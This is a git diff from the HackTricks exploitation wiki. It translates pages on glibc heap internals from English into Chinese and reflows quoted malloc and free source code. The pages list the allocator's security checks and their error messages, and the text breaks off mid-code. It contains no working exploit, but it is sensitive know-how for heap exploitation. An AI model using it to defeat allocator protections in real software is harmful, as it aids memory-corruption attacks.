0)) +malloc_printerr ("double free or corruption (fasttop)"); +old2 = old; +p->fd = PROTECT_PTR (&p->fd, old); +} +while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) +!= old2); - /* Check that size of fastbin chunk at the top is the same as - size of the chunk that we are adding. We can dereference OLD - only if we have the lock, otherwise it might have already been - allocated again. */ - if (have_lock && old != NULL - && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) - malloc_printerr ("invalid fastbin entry (free)"); - } +/* Check that size of fastbin chunk at the top is the same as +size of the chunk that we are adding. We can dereference OLD +only if we have the lock, otherwise it might have already been +allocated again. */ +if (have_lock && old != NULL +&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) +malloc_printerr ("invalid fastbin entry (free)"); +} ``` -
### \_int_free finale -If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk` +如果该块尚未在任何 bin 上分配,请调用 `_int_free_merge_chunk`
_int_free finale - ```c /* - Consolidate other non-mmapped chunks as they arrive. - */ +Consolidate other non-mmapped chunks as they arrive. +*/ - else if (!chunk_is_mmapped(p)) { +else if (!chunk_is_mmapped(p)) { - /* If we're single-threaded, don't lock the arena. */ - if (SINGLE_THREAD_P) - have_lock = true; +/* If we're single-threaded, don't lock the arena. */ +if (SINGLE_THREAD_P) +have_lock = true; - if (!have_lock) - __libc_lock_lock (av->mutex); +if (!have_lock) +__libc_lock_lock (av->mutex); - _int_free_merge_chunk (av, p, size); +_int_free_merge_chunk (av, p, size); - if (!have_lock) - __libc_lock_unlock (av->mutex); - } - /* - If the chunk was allocated via mmap, release via munmap(). - */ +if (!have_lock) +__libc_lock_unlock (av->mutex); +} +/* +If the chunk was allocated via mmap, release via munmap(). +*/ - else { - munmap_chunk (p); - } +else { +munmap_chunk (p); +} } ``` -
## \_int_free_merge_chunk -This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list. +此函数将尝试将大小为 SIZE 字节的块 P 与其邻居合并。将结果块放入未排序的空闲链表中。 -Some checks are performed: +执行了一些检查: -- If the chunk is the top chunk: `double free or corruption (top)` -- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)` -- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)` -- If the next chunk has a too little size or too big: `free(): invalid next size (normal)` -- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating` +- 如果块是顶块:`double free or corruption (top)` +- 如果下一个块超出了区域的边界:`double free or corruption (out)` +- 如果块未标记为使用(在下一个块的 `prev_inuse` 中):`double free or corruption (!prev)` +- 如果下一个块的大小过小或过大:`free(): invalid next size (normal)` +- 如果前一个块未被使用,它将尝试合并。但是,如果 `prev_size` 与前一个块中指示的大小不同:`corrupted size vs. prev_size while consolidating`
_int_free_merge_chunk code - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2 /* Try to merge chunk P of SIZE bytes with its neighbors. Put the - resulting chunk on the appropriate bin list. P must not be on a - bin list yet, and it can be in use. */ +resulting chunk on the appropriate bin list. P must not be on a +bin list yet, and it can be in use. */ static void _int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size) { - mchunkptr nextchunk = chunk_at_offset(p, size); +mchunkptr nextchunk = chunk_at_offset(p, size); - /* Lightweight tests: check whether the block is already the - top block. */ - if (__glibc_unlikely (p == av->top)) - malloc_printerr ("double free or corruption (top)"); - /* Or whether the next chunk is beyond the boundaries of the arena. */ - if (__builtin_expect (contiguous (av) - && (char *) nextchunk - >= ((char *) av->top + chunksize(av->top)), 0)) - malloc_printerr ("double free or corruption (out)"); - /* Or whether the block is actually not marked used. */ - if (__glibc_unlikely (!prev_inuse(nextchunk))) - malloc_printerr ("double free or corruption (!prev)"); +/* Lightweight tests: check whether the block is already the +top block. */ +if (__glibc_unlikely (p == av->top)) +malloc_printerr ("double free or corruption (top)"); +/* Or whether the next chunk is beyond the boundaries of the arena. */ +if (__builtin_expect (contiguous (av) +&& (char *) nextchunk +>= ((char *) av->top + chunksize(av->top)), 0)) +malloc_printerr ("double free or corruption (out)"); +/* Or whether the block is actually not marked used. */ +if (__glibc_unlikely (!prev_inuse(nextchunk))) +malloc_printerr ("double free or corruption (!prev)"); - INTERNAL_SIZE_T nextsize = chunksize(nextchunk); - if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) - || __builtin_expect (nextsize >= av->system_mem, 0)) - malloc_printerr ("free(): invalid next size (normal)"); +INTERNAL_SIZE_T nextsize = chunksize(nextchunk); +if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) +|| __builtin_expect (nextsize >= av->system_mem, 0)) +malloc_printerr ("free(): invalid next size (normal)"); - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - /* Consolidate backward. */ - if (!prev_inuse(p)) - { - INTERNAL_SIZE_T prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size while consolidating"); - unlink_chunk (av, p); - } +/* Consolidate backward. */ +if (!prev_inuse(p)) +{ +INTERNAL_SIZE_T prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size while consolidating"); +unlink_chunk (av, p); +} - /* Write the chunk header, maybe after merging with the following chunk. */ - size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); - _int_free_maybe_consolidate (av, size); +/* Write the chunk header, maybe after merging with the following chunk. */ +size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); +_int_free_maybe_consolidate (av, size); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index 18a0a02b7..ac3e56cf0 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -1,163 +1,163 @@ -# Heap Functions Security Checks +# 堆函数安全检查 {{#include ../../../banners/hacktricks-training.md}} ## unlink -For more info check: +更多信息请查看: {{#ref}} unlink.md {{#endref}} -This is a summary of the performed checks: +这是执行检查的摘要: -- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk - - Error message: `corrupted size vs. prev_size` -- Check also that `P->fd->bk == P` and `P->bk->fw == P` - - Error message: `corrupted double-linked list` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` - - Error message: `corrupted double-linked list (not small)` +- 检查块的指示大小是否与下一个块中指示的 `prev_size` 相同 +- 错误信息:`corrupted size vs. prev_size` +- 还要检查 `P->fd->bk == P` 和 `P->bk->fw == P` +- 错误信息:`corrupted double-linked list` +- 如果块不小,检查 `P->fd_nextsize->bk_nextsize == P` 和 `P->bk_nextsize->fd_nextsize == P` +- 错误信息:`corrupted double-linked list (not small)` ## \_int_malloc -For more info check: +更多信息请查看: {{#ref}} malloc-and-sysmalloc.md {{#endref}} -- **Checks during fast bin search:** - - If the chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 2` - - If the forward chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected` - - If the returned chunk has a size that isn't correct because of it's index in the fast bin: - - Error message: `malloc(): memory corruption (fast)` - - If any chunk used to fill the tcache is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 3` -- **Checks during small bin search:** - - If `victim->bk->fd != victim`: - - Error message: `malloc(): smallbin double linked list corrupted` -- **Checks during consolidate** performed for each fast bin chunk: - - If the chunk is unaligned trigger: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If the chunk has a different size that the one it should because of the index it's in: - - Error message: `malloc_consolidate(): invalid chunk size` - - If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk: - - Error message: `corrupted size vs. prev_size in fastbins` -- **Checks during unsorted bin search**: - - If the chunk size is weird (too small or too big): - - Error message: `malloc(): invalid size (unsorted)` - - If the next chunk size is weird (too small or too big): - - Error message: `malloc(): invalid next size (unsorted)` - - If the previous size indicated by the next chunk differs from the size of the chunk: - - Error message: `malloc(): mismatching next->prev_size (unsorted)` - - If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`: - - Error message: `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's fd should be pointing always to the arena struct. - - If the next chunk isn't indicating that the previous is in use: - - Error message: `malloc(): invalid next->prev_inuse (unsorted)` - - If `fwd->bk_nextsize->fd_nextsize != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (nextsize)` - - If `fwd->bk->fd != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (bk)` -- **Checks during large bin (by index) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks` -- **Checks during large bin (next bigger) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks2` -- **Checks during Top chunk use:** - - `chunksize(av->top) > av->system_mem`: - - Error message: `malloc(): corrupted top size` +- **快速 bin 搜索期间的检查:** +- 如果块未对齐: +- 错误信息:`malloc(): unaligned fastbin chunk detected 2` +- 如果前向块未对齐: +- 错误信息:`malloc(): unaligned fastbin chunk detected` +- 如果返回的块的大小因其在快速 bin 中的索引而不正确: +- 错误信息:`malloc(): memory corruption (fast)` +- 如果用于填充 tcache 的任何块未对齐: +- 错误信息:`malloc(): unaligned fastbin chunk detected 3` +- **小 bin 搜索期间的检查:** +- 如果 `victim->bk->fd != victim`: +- 错误信息:`malloc(): smallbin double linked list corrupted` +- **在每个快速 bin 块上执行的合并检查:** +- 如果块未对齐触发: +- 错误信息:`malloc_consolidate(): unaligned fastbin chunk detected` +- 如果块的大小与其所在索引应有的大小不同: +- 错误信息:`malloc_consolidate(): invalid chunk size` +- 如果前一个块未使用且前一个块的大小与 `prev_chunk` 指示的大小不同: +- 错误信息:`corrupted size vs. prev_size in fastbins` +- **无序 bin 搜索期间的检查:** +- 如果块大小异常(太小或太大): +- 错误信息:`malloc(): invalid size (unsorted)` +- 如果下一个块大小异常(太小或太大): +- 错误信息:`malloc(): invalid next size (unsorted)` +- 如果下一个块指示的前一个大小与块的大小不同: +- 错误信息:`malloc(): mismatching next->prev_size (unsorted)` +- 如果不是 `victim->bck->fd == victim` 或不是 `victim->fd == av (arena)`: +- 错误信息:`malloc(): unsorted double linked list corrupted` +- 由于我们始终检查最后一个,它的 fd 应始终指向 arena 结构。 +- 如果下一个块未指示前一个块正在使用: +- 错误信息:`malloc(): invalid next->prev_inuse (unsorted)` +- 如果 `fwd->bk_nextsize->fd_nextsize != fwd`: +- 错误信息:`malloc(): largebin double linked list corrupted (nextsize)` +- 如果 `fwd->bk->fd != fwd`: +- 错误信息:`malloc(): largebin double linked list corrupted (bk)` +- **按索引搜索大 bin 的检查:** +- `bck->fd-> bk != bck`: +- 错误信息:`malloc(): corrupted unsorted chunks` +- **按下一个更大搜索大 bin 的检查:** +- `bck->fd-> bk != bck`: +- 错误信息:`malloc(): corrupted unsorted chunks2` +- **在 Top chunk 使用期间的检查:** +- `chunksize(av->top) > av->system_mem`: +- 错误信息:`malloc(): corrupted top size` ## `tcache_get_n` -- **Checks in `tcache_get_n`:** - - If chunk is misaligned: - - Error message: `malloc(): unaligned tcache chunk detected` +- **在 `tcache_get_n` 中的检查:** +- 如果块未对齐: +- 错误信息:`malloc(): unaligned tcache chunk detected` ## `tcache_thread_shutdown` -- **Checks in `tcache_thread_shutdown`:** - - If chunk is misaligned: - - Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected` +- **在 `tcache_thread_shutdown` 中的检查:** +- 如果块未对齐: +- 错误信息:`tcache_thread_shutdown(): unaligned tcache chunk detected` ## `__libc_realloc` -- **Checks in `__libc_realloc`:** - - If old pointer is misaligned or the size was incorrect: - - Error message: `realloc(): invalid pointer` +- **在 `__libc_realloc` 中的检查:** +- 如果旧指针未对齐或大小不正确: +- 错误信息:`realloc(): invalid pointer` ## `_int_free` -For more info check: +更多信息请查看: {{#ref}} free.md {{#endref}} -- **Checks during the start of `_int_free`:** - - Pointer is aligned: - - Error message: `free(): invalid pointer` - - Size larger than `MINSIZE` and size also aligned: - - Error message: `free(): invalid size` -- **Checks in `_int_free` tcache:** - - If there are more entries than `mp_.tcache_count`: - - Error message: `free(): too many chunks detected in tcache` - - If the entry is not aligned: - - Error message: `free(): unaligned chunk detected in tcache 2` - - If the freed chunk was already freed and is present as chunk in the tcache: - - Error message: `free(): double free detected in tcache 2` -- **Checks in `_int_free` fast bin:** - - If the size of the chunk is invalid (too big or small) trigger: - - Error message: `free(): invalid next size (fast)` - - If the added chunk was already the top of the fast bin: - - Error message: `double free or corruption (fasttop)` - - If the size of the chunk at the top has a different size of the chunk we are adding: - - Error message: `invalid fastbin entry (free)` +- **在 `_int_free` 开始时的检查:** +- 指针已对齐: +- 错误信息:`free(): invalid pointer` +- 大小大于 `MINSIZE` 且大小也已对齐: +- 错误信息:`free(): invalid size` +- **在 `_int_free` tcache 中的检查:** +- 如果条目超过 `mp_.tcache_count`: +- 错误信息:`free(): too many chunks detected in tcache` +- 如果条目未对齐: +- 错误信息:`free(): unaligned chunk detected in tcache 2` +- 如果已释放的块已经被释放并作为块存在于 tcache 中: +- 错误信息:`free(): double free detected in tcache 2` +- **在 `_int_free` 快速 bin 中的检查:** +- 如果块的大小无效(太大或太小)触发: +- 错误信息:`free(): invalid next size (fast)` +- 如果添加的块已经是快速 bin 的顶部: +- 错误信息:`double free or corruption (fasttop)` +- 如果顶部块的大小与我们添加的块的大小不同: +- 错误信息:`invalid fastbin entry (free)` ## **`_int_free_merge_chunk`** -- **Checks in `_int_free_merge_chunk`:** - - If the chunk is the top chunk: - - Error message: `double free or corruption (top)` - - If the next chunk is outside of the boundaries of the arena: - - Error message: `double free or corruption (out)` - - If the chunk is not marked as used (in the prev_inuse from the following chunk): - - Error message: `double free or corruption (!prev)` - - If the next chunk has a too little size or too big: - - Error message: `free(): invalid next size (normal)` - - If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk: - - Error message: `corrupted size vs. prev_size while consolidating` +- **在 `_int_free_merge_chunk` 中的检查:** +- 如果块是顶部块: +- 错误信息:`double free or corruption (top)` +- 如果下一个块超出 arena 的边界: +- 错误信息:`double free or corruption (out)` +- 如果块未标记为使用(在下一个块的 prev_inuse 中): +- 错误信息:`double free or corruption (!prev)` +- 如果下一个块的大小太小或太大: +- 错误信息:`free(): invalid next size (normal)` +- 如果前一个块未使用,它将尝试合并。但是,如果 `prev_size` 与前一个块指示的大小不同: +- 错误信息:`corrupted size vs. prev_size while consolidating` ## **`_int_free_create_chunk`** -- **Checks in `_int_free_create_chunk`:** - - Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: - - Error message: `free(): corrupted unsorted chunks` +- **在 `_int_free_create_chunk` 中的检查:** +- 将块添加到无序 bin,检查 `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: +- 错误信息:`free(): corrupted unsorted chunks` ## `do_check_malloc_state` -- **Checks in `do_check_malloc_state`:** - - If misaligned fast bin chunk: - - Error message: `do_check_malloc_state(): unaligned fastbin chunk detected` +- **在 `do_check_malloc_state` 中的检查:** +- 如果未对齐的快速 bin 块: +- 错误信息:`do_check_malloc_state(): unaligned fastbin chunk detected` ## `malloc_consolidate` -- **Checks in `malloc_consolidate`:** - - If misaligned fast bin chunk: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If incorrect fast bin chunk size: - - Error message: `malloc_consolidate(): invalid chunk size` +- **在 `malloc_consolidate` 中的检查:** +- 如果未对齐的快速 bin 块: +- 错误信息:`malloc_consolidate(): unaligned fastbin chunk detected` +- 如果快速 bin 块大小不正确: +- 错误信息:`malloc_consolidate(): invalid chunk size` ## `_int_realloc` -- **Checks in `_int_realloc`:** - - Size is too big or too small: - - Error message: `realloc(): invalid old size` - - Size of the next chunk is too big or too small: - - Error message: `realloc(): invalid next size` +- **在 `_int_realloc` 中的检查:** +- 大小太大或太小: +- 错误信息:`realloc(): invalid old size` +- 下一个块的大小太大或太小: +- 错误信息:`realloc(): invalid next size` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md index 3b2ab7085..baabf2846 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md @@ -4,35 +4,34 @@ ## Allocation Order Summary -(No checks are explained in this summary and some case have been omitted for brevity) +(此摘要中未解释任何检查,并且为了简洁省略了一些情况) -1. `__libc_malloc` tries to get a chunk from the tcache, if not it calls `_int_malloc` +1. `__libc_malloc` 尝试从 tcache 获取一个块,如果没有,则调用 `_int_malloc` 2. `_int_malloc` : - 1. Tries to generate the arena if there isn't any - 2. If any fast bin chunk of the correct size, use it - 1. Fill tcache with other fast chunks - 3. If any small bin chunk of the correct size, use it - 1. Fill tcache with other chunks of that size - 4. If the requested size isn't for small bins, consolidate fast bin into unsorted bin - 5. Check the unsorted bin, use the first chunk with enough space - 1. If the found chunk is bigger, divide it to return a part and add the reminder back to the unsorted bin - 2. If a chunk is of the same size as the size requested, use to to fill the tcache instead of returning it (until the tcache is full, then return the next one) - 3. For each chunk of smaller size checked, put it in its respective small or large bin - 6. Check the large bin in the index of the requested size - 1. Start looking from the first chunk that is bigger than the requested size, if any is found return it and add the reminders to the small bin - 7. Check the large bins from the next indexes until the end - 1. From the next bigger index check for any chunk, divide the first found chunk to use it for the requested size and add the reminder to the unsorted bin - 8. If nothing is found in the previous bins, get a chunk from the top chunk - 9. If the top chunk wasn't big enough enlarge it with `sysmalloc` +1. 尝试生成 arena,如果没有的话 +2. 如果有任何正确大小的快速 bin 块,使用它 +1. 用其他快速块填充 tcache +3. 如果有任何正确大小的小 bin 块,使用它 +1. 用该大小的其他块填充 tcache +4. 如果请求的大小不适用于小 bin,将快速 bin 合并到未排序 bin +5. 检查未排序 bin,使用第一个有足够空间的块 +1. 如果找到的块更大,则将其分割以返回一部分,并将剩余部分添加回未排序 bin +2. 如果块的大小与请求的大小相同,则使用它填充 tcache,而不是返回它(直到 tcache 满,然后返回下一个) +3. 对于检查的每个较小大小的块,将其放入相应的小 bin 或大 bin +6. 检查请求大小索引中的大 bin +1. 从第一个大于请求大小的块开始查找,如果找到则返回它并将剩余部分添加到小 bin +7. 从下一个索引开始检查大 bin,直到结束 +1. 从下一个更大的索引检查任何块,将第一个找到的块分割以用于请求的大小,并将剩余部分添加到未排序 bin +8. 如果在之前的 bin 中未找到任何内容,从顶部块获取一个块 +9. 如果顶部块不够大,则使用 `sysmalloc` 扩大它 ## \_\_libc_malloc -The `malloc` function actually calls `__libc_malloc`. This function will check the tcache to see if there is any available chunk of the desired size. If the re is it'll use it and if not it'll check if it's a single thread and in that case it'll call `_int_malloc` in the main arena, and if not it'll call `_int_malloc` in arena of the thread. +`malloc` 函数实际上调用 `__libc_malloc`。此函数将检查 tcache 以查看是否有任何可用的所需大小的块。如果有,它将使用它;如果没有,它将检查是否是单线程,在这种情况下,它将在主 arena 中调用 `_int_malloc`,如果不是,它将在线程的 arena 中调用 `_int_malloc`。
__libc_malloc code - ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -40,1707 +39,1660 @@ The `malloc` function actually calls `__libc_malloc`. This function will check t void * __libc_malloc (size_t bytes) { - mstate ar_ptr; - void *victim; +mstate ar_ptr; +void *victim; - _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, - "PTRDIFF_MAX is not more than half of SIZE_MAX"); +_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, +"PTRDIFF_MAX is not more than half of SIZE_MAX"); - if (!__malloc_initialized) - ptmalloc_init (); +if (!__malloc_initialized) +ptmalloc_init (); #if USE_TCACHE - /* int_free also calls request2size, be careful to not pad twice. */ - size_t tbytes = checked_request2size (bytes); - if (tbytes == 0) - { - __set_errno (ENOMEM); - return NULL; - } - size_t tc_idx = csize2tidx (tbytes); +/* int_free also calls request2size, be careful to not pad twice. */ +size_t tbytes = checked_request2size (bytes); +if (tbytes == 0) +{ +__set_errno (ENOMEM); +return NULL; +} +size_t tc_idx = csize2tidx (tbytes); - MAYBE_INIT_TCACHE (); +MAYBE_INIT_TCACHE (); - DIAG_PUSH_NEEDS_COMMENT; - if (tc_idx < mp_.tcache_bins - && tcache != NULL - && tcache->counts[tc_idx] > 0) - { - victim = tcache_get (tc_idx); - return tag_new_usable (victim); - } - DIAG_POP_NEEDS_COMMENT; +DIAG_PUSH_NEEDS_COMMENT; +if (tc_idx < mp_.tcache_bins +&& tcache != NULL +&& tcache->counts[tc_idx] > 0) +{ +victim = tcache_get (tc_idx); +return tag_new_usable (victim); +} +DIAG_POP_NEEDS_COMMENT; #endif - if (SINGLE_THREAD_P) - { - victim = tag_new_usable (_int_malloc (&main_arena, bytes)); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - &main_arena == arena_for_chunk (mem2chunk (victim))); - return victim; - } +if (SINGLE_THREAD_P) +{ +victim = tag_new_usable (_int_malloc (&main_arena, bytes)); +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +&main_arena == arena_for_chunk (mem2chunk (victim))); +return victim; +} - arena_get (ar_ptr, bytes); +arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - /* Retry with another arena only if we were able to find a usable arena - before. */ - if (!victim && ar_ptr != NULL) - { - LIBC_PROBE (memory_malloc_retry, 1, bytes); - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +victim = _int_malloc (ar_ptr, bytes); +/* Retry with another arena only if we were able to find a usable arena +before. */ +if (!victim && ar_ptr != NULL) +{ +LIBC_PROBE (memory_malloc_retry, 1, bytes); +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - victim = tag_new_usable (victim); +victim = tag_new_usable (victim); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - ar_ptr == arena_for_chunk (mem2chunk (victim))); - return victim; +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +ar_ptr == arena_for_chunk (mem2chunk (victim))); +return victim; } ``` -
-Note how it'll always tag the returned pointer with `tag_new_usable`, from the code: - +请注意,它将始终用 `tag_new_usable` 标记返回的指针,来自代码: ```c - void *tag_new_usable (void *ptr) +void *tag_new_usable (void *ptr) - Allocate a new random color and use it to color the user region of - a chunk; this may include data from the subsequent chunk's header - if tagging is sufficiently fine grained. Returns PTR suitably - recolored for accessing the memory there. +Allocate a new random color and use it to color the user region of +a chunk; this may include data from the subsequent chunk's header +if tagging is sufficiently fine grained. Returns PTR suitably +recolored for accessing the memory there. ``` - ## \_int_malloc -This is the function that allocates memory using the other bins and top chunk. +这是分配内存的函数,使用其他桶和顶部块。 -- Start +- 开始 -It starts defining some vars and getting the real size the request memory space need to have: +它开始定义一些变量并获取请求的内存空间需要的实际大小:
-_int_malloc start - +_int_malloc 开始 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847 static void * _int_malloc (mstate av, size_t bytes) { - INTERNAL_SIZE_T nb; /* normalized request size */ - unsigned int idx; /* associated bin index */ - mbinptr bin; /* associated bin */ +INTERNAL_SIZE_T nb; /* normalized request size */ +unsigned int idx; /* associated bin index */ +mbinptr bin; /* associated bin */ - mchunkptr victim; /* inspected/selected chunk */ - INTERNAL_SIZE_T size; /* its size */ - int victim_index; /* its bin index */ +mchunkptr victim; /* inspected/selected chunk */ +INTERNAL_SIZE_T size; /* its size */ +int victim_index; /* its bin index */ - mchunkptr remainder; /* remainder from a split */ - unsigned long remainder_size; /* its size */ +mchunkptr remainder; /* remainder from a split */ +unsigned long remainder_size; /* its size */ - unsigned int block; /* bit map traverser */ - unsigned int bit; /* bit map traverser */ - unsigned int map; /* current word of binmap */ +unsigned int block; /* bit map traverser */ +unsigned int bit; /* bit map traverser */ +unsigned int map; /* current word of binmap */ - mchunkptr fwd; /* misc temp for linking */ - mchunkptr bck; /* misc temp for linking */ +mchunkptr fwd; /* misc temp for linking */ +mchunkptr bck; /* misc temp for linking */ #if USE_TCACHE - size_t tcache_unsorted_count; /* count of unsorted chunks processed */ +size_t tcache_unsorted_count; /* count of unsorted chunks processed */ #endif - /* - Convert request size to internal form by adding SIZE_SZ bytes - overhead plus possibly more to obtain necessary alignment and/or - to obtain a size of at least MINSIZE, the smallest allocatable - size. Also, checked_request2size returns false for request sizes - that are so large that they wrap around zero when padded and - aligned. - */ +/* +Convert request size to internal form by adding SIZE_SZ bytes +overhead plus possibly more to obtain necessary alignment and/or +to obtain a size of at least MINSIZE, the smallest allocatable +size. Also, checked_request2size returns false for request sizes +that are so large that they wrap around zero when padded and +aligned. +*/ - nb = checked_request2size (bytes); - if (nb == 0) - { - __set_errno (ENOMEM); - return NULL; - } +nb = checked_request2size (bytes); +if (nb == 0) +{ +__set_errno (ENOMEM); +return NULL; +} ``` -
### Arena -In the unlikely event that there aren't usable arenas, it uses `sysmalloc` to get a chunk from `mmap`: +在不太可能没有可用的 arena 的情况下,它使用 `sysmalloc` 从 `mmap` 获取一个块:
_int_malloc not arena - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6 /* There are no usable arenas. Fall back to sysmalloc to get a chunk from - mmap. */ - if (__glibc_unlikely (av == NULL)) - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } +mmap. */ +if (__glibc_unlikely (av == NULL)) +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} ``` -
### Fast Bin -If the needed size is inside the Fast Bins sizes, try to use a chunk from the fast bin. Basically, based on the size, it'll find the fast bin index where valid chunks should be located, and if any, it'll return one of those.\ -Moreover, if tcache is enabled, it'll **fill the tcache bin of that size with fast bins**. +如果所需的大小在快速堆的大小范围内,尝试使用快速堆中的一个块。基本上,根据大小,它会找到有效块应该位于的快速堆索引,如果有,它会返回其中一个。\ +此外,如果启用了 tcache,它会**用快速堆填充该大小的 tcache 堆**。 -While performing these actions, some security checks are executed in here: +在执行这些操作时,会执行一些安全检查: -- If the chunk is misaligned: `malloc(): unaligned fastbin chunk detected 2` -- If the forward chunk is misaligned: `malloc(): unaligned fastbin chunk detected` -- If the returned chunk has a size that isn't correct because of it's index in the fast bin: `malloc(): memory corruption (fast)` -- If any chunk used to fill the tcache is misaligned: `malloc(): unaligned fastbin chunk detected 3` +- 如果块未对齐:`malloc(): unaligned fastbin chunk detected 2` +- 如果前向块未对齐:`malloc(): unaligned fastbin chunk detected` +- 如果返回的块的大小因其在快速堆中的索引而不正确:`malloc(): memory corruption (fast)` +- 如果用于填充 tcache 的任何块未对齐:`malloc(): unaligned fastbin chunk detected 3`
_int_malloc fast bin - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If the size qualifies as a fastbin, first check corresponding bin. - This code is safe to execute even if av is not yet initialized, so we - can try it without checking, which saves some time on this fast path. - */ +If the size qualifies as a fastbin, first check corresponding bin. +This code is safe to execute even if av is not yet initialized, so we +can try it without checking, which saves some time on this fast path. +*/ #define REMOVE_FB(fb, victim, pp) \ - do \ - { \ - victim = pp; \ - if (victim == NULL) \ - break; \ - pp = REVEAL_PTR (victim->fd); \ - if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ - malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ - } \ - while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ - != victim); \ +do \ +{ \ +victim = pp; \ +if (victim == NULL) \ +break; \ +pp = REVEAL_PTR (victim->fd); \ +if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ +malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ +} \ +while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ +!= victim); \ - if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) - { - idx = fastbin_index (nb); - mfastbinptr *fb = &fastbin (av, idx); - mchunkptr pp; - victim = *fb; +if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) +{ +idx = fastbin_index (nb); +mfastbinptr *fb = &fastbin (av, idx); +mchunkptr pp; +victim = *fb; - if (victim != NULL) - { - if (__glibc_unlikely (misaligned_chunk (victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); +if (victim != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (victim->fd); - else - REMOVE_FB (fb, pp, victim); - if (__glibc_likely (victim != NULL)) - { - size_t victim_idx = fastbin_index (chunksize (victim)); - if (__builtin_expect (victim_idx != idx, 0)) - malloc_printerr 